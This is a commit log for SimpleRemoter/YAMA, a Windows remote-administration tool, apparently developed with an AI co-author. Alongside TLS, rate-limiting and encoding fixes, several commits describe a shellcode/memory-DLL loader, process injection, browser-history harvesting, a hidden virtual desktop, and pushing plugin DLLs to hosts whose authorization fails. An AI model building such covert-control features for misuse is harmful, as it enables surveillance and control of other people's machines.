176 Commits
Author SHA1 Message Date
yuanyuanxianganddeepseek-v4-pro 5cea1167be Feature: Web remote desktop phone IME input box ("I")
Add an "I" button to the mobile shortcut bar that opens a chat-style
input box pinned above the virtual keyboard. Text is delivered to the
remote through the existing clipboard bridge (clipboard_set + synthetic
Ctrl+V); an empty box turns Enter/Backspace into remote Enter/Backspace
so the phone can submit and edit text in the focused window. The box
soft-wraps and auto-grows up to four lines.

The box is a <textarea>, so the desktop key-forwarding handlers now skip
TEXTAREA targets as well, which stops an empty-box Backspace from being
forwarded twice (once by imeBackspace, once by the document handler).

Co-Authored-By: deepseek-v4-pro
2026-10-17 22:06:46 +02:00
yuanyuanxianganddeepseek-v4-pro 0c04f7516b Feature: Web remote desktop bidirectional text clipboard sync
Add keyboard-shortcut (Ctrl+C / Ctrl+X / Ctrl+V) text clipboard transfer
between the browser and the remote desktop, reusing the clipboard protocol
that already exists in the native viewer (COMMAND_SCREEN_GET_CLIPBOARD=24,
COMMAND_SCREEN_SET_CLIPBOARD=25, TOKEN_CLIPBOARD_TEXT=118) so the client
needs no change.

Local -> remote: pressing Ctrl+V reads the browser clipboard, pushes it to
the remote clipboard (UTF-8 -> GBK, matching the client's CF_TEXT/ANSI
handling) and then synthesizes a remote Ctrl+V so the pasted text is the
newly delivered one.

Remote -> local: Ctrl+C or Ctrl+X is forwarded to the remote as usual and,
after a short delay, the remote clipboard is pulled back and written to the
browser clipboard for a later local Ctrl+V.

Both the MFC and Go servers get the same three clipboard signaling paths
(clipboard_set, clipboard_get, clipboard_text) so the shared single-page
frontend behaves identically on either backend.

Co-Authored-By: deepseek-v4-pro
2026-10-17 19:52:38 +02:00
yuanyuanxianganddeepseek-v4-pro e6b4fe3a85 Fix: reissue client_id on clone collision and harden V1 file-transfer command
撞 ID 的克隆机(同镜像 MachineGuid 相同导致 client_id 相同)此前会被服务端暂存为
替补、永远无法转正,从而不显示在主机列表。现在服务端检测到「client_id 相同但主机名
不同」时,主动下发 COMMAND_REGEN_CLIENT_ID,客户端在旧 ID 基础上掺随机 UUID 重算后
重连,以新 ID 正常上线;触发条件仅看主机名,排除 IP 漂移与纯用户名变化,避免误伤
正常重连的机器。

同时加固 V1 服务端→客户端文件传输:COMMAND_GET_FILE 指令的一次性 md5 令牌绑定登记
时的客户端源 IP(PutCmd/PopCmd 均带 peerIP),防止异常客户端冒用;并对指令包增加边界
校验(len 与 NUL 结尾),杜绝无 NUL 包导致的越界读。

Co-Authored-By: deepseek-v4-pro
2026-10-17 09:29:33 +02:00
yuanyuanxianganddeepseek-v4-pro d3a339247b Fix: reconnect after server restart without reinstalling the loader
The S_SERVER_EXIT respawn fix previously lived in test.cpp, which a
deployed TestRun.exe cannot pick up without reinstalling. Move the
reconnect decision into ClientDll::IsStoped(): when the master instance
is in S_SERVER_EXIT, report reconnectable immediately instead of waiting
for live shared instances to drain, so the already-deployed loader
reconnects against a hot-loaded DLL.

Shared instances stay connected to their own servers, preserving the
IsSharedRunning contract that the master's state change must not tear
them down.

Also guard the RUNNING_PARALLEL branch so re-entering StartClient on
reconnect spawns parallel instances once instead of duplicating them.

Co-Authored-By: deepseek-v4-pro
2026-10-16 21:36:52 +02:00
yuanyuanxianganddeepseek-v4-pro 33986f4893 Fix: shared-host respawn block and web login brand placeholder
Two unrelated fixes bundled here.

1. Client respawn (ClientDll.cpp EasyRun/Run, test.cpp Run): after a host
   is shared or transferred to another server, restarting the master
   (server A) left the host's main instance stuck, because the respawn
   loop waited on IsStoped() (g_bThreadExit && GetCount()==0), which never
   becomes true while a still-alive shared instance holds AddCount(1).
   S_SERVER_EXIT now triggers an immediate reconnect without waiting for
   shared instances; client-exit / update still waits for all instances to
   drain. Verified by 100 restart cycles.

2. Web login page (WebService.cpp): the MFC web server only substituted
   __BASE_PATH__ in index.html and left __BRAND_NAME__ as a literal token
   in the login page title/heading. Substitute it with "SimpleRemoter" to
   match the original branding and the Go server's default.

Co-Authored-By: deepseek-v4-pro
2026-10-16 21:08:42 +02:00
yuanyuanxianganddeepseek-v4-pro e5f5720867 Fix: Add missing FileManagerDlg translations to language files
FileManagerDlg.cpp still had several user-facing Chinese strings with no
entry in en_US/zh_TW/de_DE: the "invalid file handle", "no files
selected", "V2 transfer started", "V2 download request sent" and "main
connection not found" messages. Add translations for all five.

The "main connection not found" string contained a literal '=', which
CIniParser treats as the key/value delimiter, so it could never match as
a translation key. Reword it to "clientID %llu" (no '=') so the key
round-trips. The two Mprintf log lines on the V2 checksum path are
log-only and intentionally left untranslated.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:54:00 +02:00
yuanyuanxianganddeepseek-v4-pro d7b49a3d06 Feat: Add whitelist action to log-list right-click menu
Adds a "白名单" item after "解除封禁" in the message-log context menu.
It extracts the IP from each selected log entry, asks for confirmation,
then adds it to the shared IPWhitelist singleton — which IOCPServer and
the DLL rate limiter already consult live — so the entry takes effect on
new connections immediately, without a restart. The whitelist is
persisted to settings\IPWhitelist the same way the Network dialog does.

- An IP already in the whitelist is reported as such and skipped.
- An IP in the IP blacklist (banned) is reported as banned and skipped,
  rather than silently removed from the blacklist.
- Menu item, confirmation, and result strings are added to the
  en_US/zh_TW/de_DE language files.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:16:33 +02:00
yuanyuanxianganddeepseek-v4-pro c85039ea0a Fix: Online-host list column-toggle leaves ghost artifact after last column
CListCtrlEx::OnEraseBkgnd (with m_bSkipEraseBkgnd) only erases the empty
area below the last item, not the horizontal strip right of the last
column (the ~20px scrollbar reserve AdjustColumnWidths always leaves).
Changing the column count via SetColumnVisible/ToggleColumnVisibility
redistributed widths but never repainted with background erase, so stale
pixels from the previous last column lingered next to the new one (e.g.
after "TLS") until a tab switch or minimize/restore forced a full redraw.

Mirror the proven OnSize needRefresh path: temporarily lift the
skip-erase flag and issue a full RedrawWindow with
RDW_ERASE|RDW_INVALIDATE|RDW_ALLCHILDREN|RDW_UPDATENOW after each
visibility change.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:03:05 +02:00
yuanyuanxianganddeepseek-v4-pro a447452521 Fix: Silence SOCKET_DLLLOADER log flood and tighten device-port logging
SOCKET_DLLLOADER (210) is the shellcode / memory-DLL loader asking the
server for the full DLL payload before it can load the client. The MFC
master console serves it via SendServerDll; the Go web device port has no
payload to hand out, so every memory-DLL client startup/reconnect fell
into the default dispatch branch and logged "Unhandled command 210",
flooding the log. Add a protocol constant and drop the command silently.

While auditing the device-port logging surface:

- Downgrade wrapTLS's per-connection hex-dump lines and the screen-spy
  "[timing]" cold-start line from Info to Debug (they fire once per TCP
  connection / screen view and are diagnostics, not operational events).

- Distinguish a sub-connection hijack attempt from a plain orphan: when a
  screen/terminal sub-conn claims a MasterID from a source IP other than
  the device's login conn, log a dedicated Warn instead of mislabeling it
  as "orphan ... unknown device".

Co-Authored-By: deepseek-v4-pro
2026-10-16 12:26:35 +02:00
yuanyuanxiang 614b03994c Fix: No permission to share/transfer a client host issue 2026-10-16 07:35:53 +02:00
yuanyuanxianganddeepseek-v4-pro 99e3bcbc6d Feat: Per-client TLS transport toggle (TLS column + remote enable/disable)
Add a per-client TLS transport toggle controlled from the server, using the
presence of the client's trust-anchor certificate in the registry as the
single source of truth (no separate tls_enable flag).

- Client reports its TLS status via a new RES_TLS token (cert present -> 1)
  appended to LOGIN_INFOR's reserved field.
- Server online list gains a "TLS" column after the permission column.
- The "experimental features" right-click menu gains "TLS传输" / "取消TLS"
  with confirmation and a guard that prompts (instead of sending) when the
  server has no TLS certificate ready.
- New COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE (166/167): the server pushes
  its cert PEM into the client registry settings\tls_cert (enable) or deletes
  it (disable). The client picks this up on next startup via the existing
  ReadTrustAnchor logic, so the switch is non-live by design.
- Icons and en_US/zh_TW/de_DE translations for the new menu items.

Co-Authored-By: deepseek-v4-pro
2026-10-16 07:04:54 +02:00
yuanyuanxianganddeepseek-v4-pro 8f02e73b9c Fix: Refresh MCP menu checkmark after settings change
The MCP settings menu item's checkmark was set only once at startup in
CreateSolidMenu, so toggling MCP in the settings dialog left the menu stale
until restart. Update the checkmark in OnMcpSettings after the dialog closes
so it matches [settings] McpEnabled immediately.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 7651ee8602 Feat: ConnAuth HMAC verification gated by YAMA_CONN_AUTH_KEY
Verify the HMAC-SHA256 signature and timestamp of device sub-connections
(screen/terminal/file) when the YAMA_CONN_AUTH_KEY environment variable is
set. With the key set, a sub-connection whose signature or clock skew fails
is answered with a non-OK ConnAuth status and dropped; without the key the
legacy always-OK behavior is preserved.

The key is never compiled in: it is read from the environment at startup, so
no secret enters the repository. Source-IP binding in hub.BindScreenConn
remains in place as defense-in-depth.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 4ff965a2b4 Feat: White-label web UI branding for subpath deployments
When the web remote desktop is mounted under another domain's subpath
(YAMA_WEB_BASE_PATH non-empty), read the product title from
YAMA_WEB_BRAND_NAME, substitute it for the SimpleRemoter titles and
PWA manifest name, and strip the security notice and website links.
The brand name is JSON- and HTML-escaped so operator input can't
produce malformed output. Served from the domain root, the official
SimpleRemoter branding is left unchanged.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 77b688c981 Feat: Fold hostname into client ID and log clone-ID collisions
Cloned miniPC images share the same MachineGuid, so their client_id
collides and only one host appears in the list. Fold the hostname into
the V2 client-ID hash so hosts with distinct names no longer collide.
Already-persisted client IDs are unchanged: they recompute only after
the settings/client_id registry value is cleared.

Server side, when a login reuses an existing client_id but the hostname,
IP, or username differs, emit a WARN diagnostic before assigning the
connection to the standby list. Observation-only, no behavior change.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro c93f09e9ac Feat: TLS certificate menu and config dialog for the MFC server
Add a "TLS证书" item to the Extensions menu below "MCP设置" that opens a
runtime-built dialog to enable one-way TLS and set the certificate and
private-key paths. On OK it writes the [tls] Enabled/CertPath/KeyPath keys
and calls ServerTlsIdentity::Load() so the change takes effect for new
connections immediately (design doc §7.1), mirroring the existing
CMcpSettingsDlg runtime-template pattern. All new strings are wired into
the en_US / zh_TW / de_DE language files, and the menu item is gated by
HIDE_MENU_TLS_CERTIFICATE / MF_TLS_CERTIFICATE like MCP settings.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:42:52 +02:00
yuanyuanxianganddeepseek-v4-pro 96b9eea70a Feat: One-way TLS transport for the MFC server
Add optional one-way TLS to the MFC server (server/2015Remote) so the device
port can serve both TLS clients and legacy plaintext clients on the same port,
mirroring the Go server.

Server: on a connection's first bytes, sniff for a TLS ClientHello (0x16 0x03
+ handshake type 0x01). When [tls] Enabled=1 and the identity loads, hand the
socket to a short-lived blocking handshake thread (Option A) running Schannel
AcceptSecurityContext, then decrypt on recv and encrypt on send; plaintext
connections replay the sniffed bytes straight into the existing parse path, so
the plaintext code path is otherwise unchanged. The identity is loaded once
from [tls] CertPath/KeyPath as PEM + CNG (PKCS#8) — the same key pair the Go
server uses — and a missing [tls] section, an empty value, or a load failure
leaves plaintext serving intact and fail-closes any TLS ClientHello.

Also fix two transport-reliability bugs that surfaced end-to-end:
- send path: encrypt only the freshly appended plaintext tail and post a
  single IOWrite wake-up guarded by a bSendPending flag, so back-to-back small
  sends (terminal resize -> COMMAND_NEXT -> resize) no longer run concurrent
  WSASends over the same mutable buffer (client saw DecryptMessage failures,
  with WSAGetLastError() = 6001 / ERROR_DECRYPTION_FAILED);
- client Recv: keep the handshake's unconsumed tail bytes in m_raw and drain
  them before the next recv, and log the real SECURITY_STATUS on
  DecryptMessage failure instead of the stale Winsock error.

Co-Authored-By: deepseek-v4-pro
2026-10-15 13:48:27 +02:00
yuanyuanxianganddeepseek-v4-pro ca0d7626d2 Feat: One-way TLS transport for the device port
Add optional one-way TLS on the device port (6543), enabled per client via a
pinned trust anchor, so new clients encrypt their transport while legacy
plaintext clients keep working unchanged.

Server (server/go): sniff each accepted connection and wrap TLS peers
(ClientHello 0x16 0x03 + handshake type 0x01) in crypto/tls with MinVersion
TLS 1.2; everything else stays on the plaintext path. TLS is enabled only when
both YAMA_TLS_CERT and YAMA_TLS_KEY are set, and a cert/key load failure fails
startup loudly rather than silently serving plaintext.

Client (client/, Windows): Schannel one-way TLS. When the trust anchor is
present — registry value Software\<exehash>\settings\tls_cert (REG_SZ holding
the PEM), with fallback to settings.ini [settings] tls_cert or yama-ca.pem
beside the exe — every outbound connection (main + sub-connections) completes
a TLS 1.2 handshake before the app protocol and is strictly pinned to that
anchor via a chain engine with hExclusiveRoot; any handshake/cert failure is
fail-closed (no plaintext downgrade). Send uses EncryptMessage; Recv uses
DecryptMessage and reads plaintext from the stream-mode DATA segment (bufs[1])
rather than the record header.

Co-Authored-By: deepseek-v4-pro
2026-10-14 21:10:21 +02:00
yuanyuanxianganddeepseek-v4-pro 8d4c118ae6 Fix: Skip video capture when camera fails to open
CCaptureVideo::Open now returns S_FALSE when BindVideoFilter cannot bind a capture device, instead of S_OK. CVideoManager records the result in m_bVideoOpened and exits WorkThread before SendBitMapInfor, so a host without a webcam no longer sends a 0x0 BITMAPINFO to the controller.

Co-Authored-By: deepseek-v4-pro
2026-10-13 17:05:37 +02:00
yuanyuanxianganddeepseek-v4-pro d477cbfee9 Fix: Treat a zero MaxBufferedBytes as disabled
Consistent with the per-IP limits, a zero cap now means "no limit" instead
of closing every connection after its first byte, so a Config built from
zero values cannot wedge the listener.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:28:13 +02:00
yuanyuanxianganddeepseek-v4-pro 870a5832ea Security: Cap per-connection inbound buffer to prevent memory DoS
The protocol length field is validated to 50 MiB, but a peer that sends
bytes which never assemble into a complete packet — for example an HTTP-mask
envelope without its terminating CRLF CRLF, which Parse() waits on
indefinitely — could grow the per-connection input buffer without bound.
handleConnection now closes the connection once unparsed buffered bytes
exceed MaxBufferedBytes (default 50 MiB + 64 KiB slack, covering the largest
legitimate packet plus its mask envelope and a read chunk).

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:27:20 +02:00
yuanyuanxianganddeepseek-v4-pro 8e0f1283c6 Security: Add per-IP connection and login rate limiting
The TCP device port is exposed directly to the public internet, so a single
host must not be able to exhaust the global connection budget, flood new
connection attempts, or brute-force the device authorization passcode.

- server: cap concurrent connections and the accept rate per source IP
  (defaults 256 concurrent / 120 per minute, overridable via
  YAMA_PERIP_MAX_CONNS and YAMA_PERIP_CONN_RATE). Rejections happen at
  accept time, before any buffer or goroutine is allocated, and a rejected
  device simply retries on its reconnect loop.
- cmd: throttle TOKEN_AUTH per source IP (120/min) and answer over-limit
  attempts with a normal failed response so clients get a definitive reply.
- web: periodically sweep the login rate-limit maps so the username-keyed
  one (which is attacker-controlled) cannot grow without bound.

Per-IP defaults are generous enough that a NAT office whose devices share
one source IP is unaffected.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:25:34 +02:00
yuanyuanxianganddeepseek-v4-pro 2de21b2b6b Fix: Bind screen/terminal sub-conns only to the device's source IP
A screen or terminal sub-connection was keyed solely by a MasterID that any
TCP peer may supply, so any internet host could claim an online device's
MasterID and bind a sub-conn in its place, hijacking the live screen stream
or a pending shell session. The ConnAuth signature cannot be verified on the
server because its key lives in a vendored client library, so the trust
anchor here is the source IP: sub-conns are always opened device-to-server
from the same host as the login conn. BindScreenConn and BindTerminalConn
now reject a sub-conn whose peer IP differs from the device's recorded
main-connection PeerIP.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:19:39 +02:00
yuanyuanxianganddeepseek-v4-pro 53b7151fb7 Feature: Add admin-only SSO bridge to web UI
Bridge an already-authenticated portal session into a YAMA web session via
a new /sso endpoint, so portal administrators can enter the remote-desktop
UI without a second login. Only the "admin" portal role is bridged; any
other role (viewer, unknown) still falls back to the built-in login form,
so a low-privileged portal account cannot bypass authentication.

- wsauth: extract IssueToken from VerifyLogin so an out-of-band-authenticated
  identity (SSO) can mint a session token without the challenge/response.
- web: add the SSODetector interface, a fail-closed JWT detector (HMAC-only),
  and the /sso handler gated to the admin role.
- cmd: enable the JWT detector via YAMA_SSO_JWT_SECRET, the shared HS256
  secret matching the parent portal.
- web UI: attempt SSO before showing the login form, falling back to login
  when the server returns 401.
- docs: document SSO (admin-only) and license trial-vs-paid troubleshooting
  in README and the env example.

Co-Authored-By: deepseek-v4-pro
2026-10-13 15:46:04 +02:00
yuanyuanxianganddeepseek-v4-pro d2149851b2 Fix: Decode host-management and clipboard text as GBK/UTF-8 on non-Chinese systems
The 主机管理 dialog wrote client data (process names, window titles, net
connection state, software entries, IE history, favorites, services,
scheduled tasks, hosts) through the ANSI InsertItem/SetItemText path, which
re-converts through CP_ACP and garbles Chinese when the operator machine
runs a non-Chinese ACP. Decode each client string with its real code page
and write it via LVM_SETITEMTEXTW, mirroring SystemDlg::SetClientTextItem.
Scheduled-task columns are split by encoding: name/path/exe come from the
client as UTF-8 (BSTRToUTF8) while the status literal stays GBK. Also detect
a UTF-8 BOM in the hosts file so a Notepad-saved hosts (EF BB BF) no longer
shows "锘?" on its first line.

In the keyboard dialog, the clipboard preview edit was an ANSI-class window
filled via utf8_to_ansi (CP_ACP) + SetWindowTextA, so Chinese was replaced
with '?' before it reached the control. Rebuild m_EditClipText as a
Unicode-class window and write the UTF-8 clipboard text via SetWindowTextW,
matching the m_edit record control.

Co-Authored-By: deepseek-v4-pro
2026-10-12 15:41:24 +02:00
yuanyuanxianganddeepseek-v4-pro ca6f76565c Change: Hide client chat dialog on close instead of terminating
Closing the client-side chat dialog (via the "end chat" button or the title-bar
X) now only hides the window and keeps the session alive, instead of destroying
it. Closing the chat stays server-initiated: the next message from the server
reopens the hidden dialog via the existing SW_RESTORE path in OnReceive, and the
dialog is only truly destroyed on COMMAND_CHAT_CLOSE or connection close.

Co-Authored-By: deepseek-v4-pro
2026-10-10 14:39:34 +02:00
yuanyuanxianganddeepseek-v4-pro d15cd77a28 Fix: Decode geographic location as UTF-8 across client and server
Geographic location (city, country) from the geo APIs is UTF-8, but the client
and several server paths converted or stored it in the system ANSI code page,
turning umlauts ("ö"/"ä") into "?" or GBK mojibake ("B枚blingen"). Keep the
value UTF-8 end to end: the client caches it as UTF-8 and re-queries once after
an upgrade (keyed by __DATE__, the app's version convention), while the server
stores and displays it as UTF-8 in the online list, the activity log, the
client-info export, JSON/email payloads and search.

Also add a confirmation prompt before opening a remote chat from the toolbar,
with German, English and Traditional-Chinese translations.

Co-Authored-By: deepseek-v4-pro
2026-10-10 13:58:38 +02:00
yuanyuanxianganddeepseek-v4-pro 1a9312d2d1 Fix: Decode remote file-list names/paths from GBK/UTF-8 on non-Chinese systems
The Windows ghost client lists directories with FindFirstFileA, so remote
file names arrive as GBK/936 bytes. Both file-manager dialogs wrote them
back through ANSI InsertItem/SetItemText, which re-converts through CP_ACP
and garbles Chinese names when the operator machine runs a non-Chinese ACP.

Decode the name/path from the client encoding (GBK for Windows, UTF-8 for
LNX/MAC, chosen by RES_CLIENT_TYPE) and write the text via LVM_SETITEMTEXTW,
keeping the icon through an empty InsertItem - the same pattern used for the
process list, window list and client-list path.

Co-Authored-By: deepseek-v4-pro
2026-10-09 16:23:23 +02:00
yuanyuanxianganddeepseek-v4-pro f3a8406050 Fix: Decode client file path correctly in client list and info popup
The client reports its own exe path as UTF-8 in RES_FILE_PATH. Two
display sites re-decoded those bytes with the wrong code page and turned
Chinese paths into mojibake on non-Chinese servers:

- The client-list "程序路径" column wrote ProgramPath through the ANSI
  SetItemText path, so the UTF-8 bytes were misread as the system ACP.
  Decode UTF-8 to wide and write with LVM_SETITEMTEXTW instead (same
  pattern as the window/process lists).

- The double-click info popup normalized the client RES_* fields to the
  system ACP and rendered strText with CP_ACP -> wide. The app's internal
  ANSI convention is fixed GBK/936 (/execution-charset:.936 plus
  setlocale(".936")), so on non-Chinese systems the path collapsed to '?'.
  Normalize to 936 and decode 936 instead, which also fixes the popup's
  GBK labels and username in the same pass.

Co-Authored-By: deepseek-v4-pro
2026-10-09 15:00:39 +02:00
yuanyuanxianganddeepseek-v4-pro ff6b290580 Fix: Decode process list names/paths as GBK on Windows
Process management decoded the client's process name/path bytes with
GetClientEncoding, which returns UTF-8 for CLIENT_CAP_UTF8 clients. But
the Windows client builds the process list with the ANSI A-interface
(Process32FirstA / QueryFullProcessImageNameA), which emits the client's
system code page (GBK on Chinese Windows) regardless of the UTF-8
capability -- unlike window titles, which were migrated to the
W-interface plus UTF-8. Decoding GBK as UTF-8 garbled Chinese process
names and paths.

Add GetProcessListEncoding(): 936 for Windows clients, UTF-8 for
LNX/MAC, matching McpServer::BuildListProcesses, and use it in
ShowProcessList (which still writes via LVM_SETITEMTEXTW).

Also raise the IP history cap to 1000 and rename the experimental
"隐私屏幕" menu item to "虚拟屏幕".

Co-Authored-By: deepseek-v4-pro
2026-10-09 14:05:52 +02:00
yuanyuanxianganddeepseek-v4-pro da0ec983ba Feature: Show live transfer speed in file-transfer dialog title
Add a smoothed bytes-per-second readout to the CDlgFileSend title,
refreshed about every 200 ms during transfer (e.g. "发送文件 - 5.3M/s").
The base title is captured on the first progress frame and the speed
suffix applied through Unicode APIs (GetWindowTextW / SetWindowTextW),
so the whole title stays correct on non-Chinese systems where the ANSI
message path would misdecode GBK as the system ACP.

Also add the missing "接收文件 (V2)" translation (en_US "Receive File (V2)",
zh_TW "接收檔案 (V2)"), so the V2 receive title no longer falls back to
raw Chinese on non-Chinese systems.

Co-Authored-By: deepseek-v4-pro
2026-10-08 22:15:31 +02:00
yuanyuanxianganddeepseek-v4-pro 6220335f63 Fix: Decode GBK dialog/toolbar text on non-Chinese systems
MBCS dialog templates are decoded with the system ANSI code page, so on
non-Chinese systems the GBK template strings turn into "?" before
TranslateDialog can read them. Set those strings explicitly in OnInitDialog
(PluginSettings save/close, the three Advanced dialogs, the file-manager
search buttons/checkboxes, and Trigger Settings) so they are re-decoded
with the thread locale. Also fix the language-selection dialog and the
toolbar "Lang/语言" button: the language dialog's template is built as
WCHAR strings but created through the ANSI path, so its title, label, and
buttons are set explicitly in OnInitDialog (AppendString stays on CP_ACP),
with the title looked up via _TR("切换语言") and set through SetWindowTextW
after an explicit GBK conversion; new en_US ("Switch Language") and zh_TW
("切換語言") translations accompany it. The toolbar button is set through
the Unicode TB_SETBUTTONINFOW message after an explicit GBK conversion. Add
en_US/zh_TW translations for the experimental-features context menu items.

Co-Authored-By: deepseek-v4-pro
2026-10-08 21:53:53 +02:00
yuanyuanxianganddeepseek-v4-pro c7f7b7b29b Fix: Expand env vars in V2 file receive path
V2 upload to a remote directory picked via the quick-icon shortcuts
(Desktop / Downloads / Home) landed files in a literal "%USERPROFILE%"
folder instead of the real profile. The shortcuts set m_Remote_Path to an
unexpanded "%USERPROFILE%\..." template (FileManagerDlg.cpp
OnRemoteDesktop/Downloads/Home), and the V2 receive path handed that
filename straight to RecvFileChunkV2 (prebuilt FileUpload lib), which writes
it verbatim. V1 upload already expanded env vars in COMMAND_FILE_SIZE
(client/FileManager.cpp ExpandPath), so this is a V2-only regression.

Expand the filename's environment variables in CKernelManager::OnReceive's
COMMAND_SEND_FILE_V2 branch before RecvFileChunkV2, rebuilding the packet
only when the expanded length differs; other packet types pass through
unchanged.

Co-Authored-By: deepseek-v4-pro
2026-10-08 17:56:18 +02:00
yuanyuanxianganddeepseek-v4-pro 59fead7b5f Fix: Deliver file-transfer speed via MasterSettings (was CMD_FILE_SPEED)
The file-transfer speed dialog previously sent a separate CMD_FILE_SPEED
(5 bytes) back-to-back before COMMAND_SCREEN_SPY / COMMAND_LIST_DRIVE when
opening remote desktop or file manager. The IOCP send path batches two
consecutive Send2Client calls into one WSASend of the accumulated
OutCompressedBuffer, so the client received the [FILE_SPEED][SCREEN_SPY]
command stream twice - the root cause of two remote-desktop dialogs popping
up on a single click (introduced in commit 76decec).

Fold the two values into MasterSettings (TransferChunkKb / TransferDurationMs,
uint16 each, before Reserved, sizeof unchanged at 1000) so they reach every
client on login and are broadcast to online clients when the dialog saves.
The client persists them into [transfer] on CMD_MASTERSETTING, guarded by
TransferChunkKb != 0 so older masters keep local defaults. CMD_FILE_SPEED(252)
and its client handler remain for backward compatibility, but the master no
longer sends it.

Update the design doc, the three GBK lang files' prompt entry, and the READMEs.

Co-Authored-By: deepseek-v4-pro
2026-10-07 21:19:04 +02:00
yuanyuanxiang b89428bf35 Release v1.4.0 2026-10-07 13:57:34 +02:00
yuanyuanxianganddeepseek-v4-pro 3928dd76a3 Feature: Add icons to experimental features submenu
Add 16x16 menu icons for the three experimental-features items in the
online-host right-click menu: file management (folder), privacy screen
(shield with padlock), and drawing board (paintbrush). The new bitmaps
follow the existing #F0F0F0-background 32bpp convention and are wired
into the m_bmOnline array via LoadBitmap and SetMenuItemBitmaps, using
the same pattern as the other nested-submenu items.

Co-Authored-By: deepseek-v4-pro
2026-10-06 18:05:14 +02:00
yuanyuanxianganddeepseek-v4-pro d80d8f21da Feature: Add auth-failed trigger type (授权失败触发)
Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing
TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at
initial TOKEN_AUTH or on a later heartbeat — the server fires the
auth-failed trigger and sends the configured plugin DLLs to the client,
gated by the existing ShouldLogAuth dedup so a persistently failing host
is re-triggered only once per hour or on a state change.

VerifyClientAuth gains a sender parameter so the failure branch can reach
the live connection context; both call sites (TOKEN_AUTH and heartbeat)
pass it. TriggerManager caches the auth-failed plugin names in a separate
set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online
trigger path untouched.

Rework the settings dialog so the plugin checklist reflects the currently
selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE
handler) instead of hardcoding the online trigger; remove the now-unused
GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and
de_DE.

Co-Authored-By: deepseek-v4-pro
2026-10-06 17:50:30 +02:00
yuanyuanxianganddeepseek-v4-pro d269df9171 Feature: Migrate SimplePlugins drawing board (远程画板迁移)
Migrate the SimplePlugins remote drawing-board overlay into the YAMA client
as an "实验功能" right-click submenu entry. DrawingBoardMgr is isolated in
the SimplePluginsDrawingBoard namespace and draws pen paths and text onto a
transparent, top-most layered window.

The YAMA server already had the CDrawingBoard dialog, TOKEN_DRAWING_BOARD
(151) and the full RemoteDraw command set, so only the client overlay
manager and the menu wiring were missing. Add COMMAND_DRAWING_BOARD_PLUGIN
(165) and LoopDrawingBoardPlugin, spawned as a sub-connection from
KernelManager; the constructor sends TOKEN_DRAWING_BOARD so the existing
server dialog opens unchanged. Add a "远程画板" entry to the "实验功能"
submenu, routed via OnExperimentDrawingBoard.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:52:58 +02:00
yuanyuanxianganddeepseek-v4-pro 2fb6252285 Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)
Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:41:04 +02:00
yuanyuanxianganddeepseek-v4-pro 2c3e1ca518 Feature: Migrate SimplePlugins file management (文件管理迁移)
Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:09:26 +02:00
yuanyuanxianganddeepseek-v4-pro f72fda9b71 Feature: Machine management (主机管理)
Migrate the MachineManager client from SimplePlugins and wire the server toolbar.

Client:
- Add CMachineManager (process/window/net/software/IE history/favorites/service/task/hosts
  enumeration plus process injection via yapi.hpp).
- Add COMMAND_MACHINE_MANAGE (162) and spawn the manager on an authenticated
  sub-connection in KernelManager.
- Register MachineManager.cpp/.h and yapi.hpp in both client projects.

Server:
- Add the 主机管理 toolbar button (index 18, after 远程交谈) reusing the IDI_MACHINE icon,
  plus en/zh_TW/de translations.

Fix:
- Free the IEnumSTATURL strings (su.pwcsUrl/su.pwcsTitle) with CoTaskMemFree, release the
  enumerator, and set STATURL.cbSize to stop the IE-history leak reported by VLD.

Co-Authored-By: deepseek-v4-pro
2026-10-04 21:03:03 +02:00
yuanyuanxianganddeepseek-v4-pro c906a46bcc Fix: garbled instant-message popup title on client
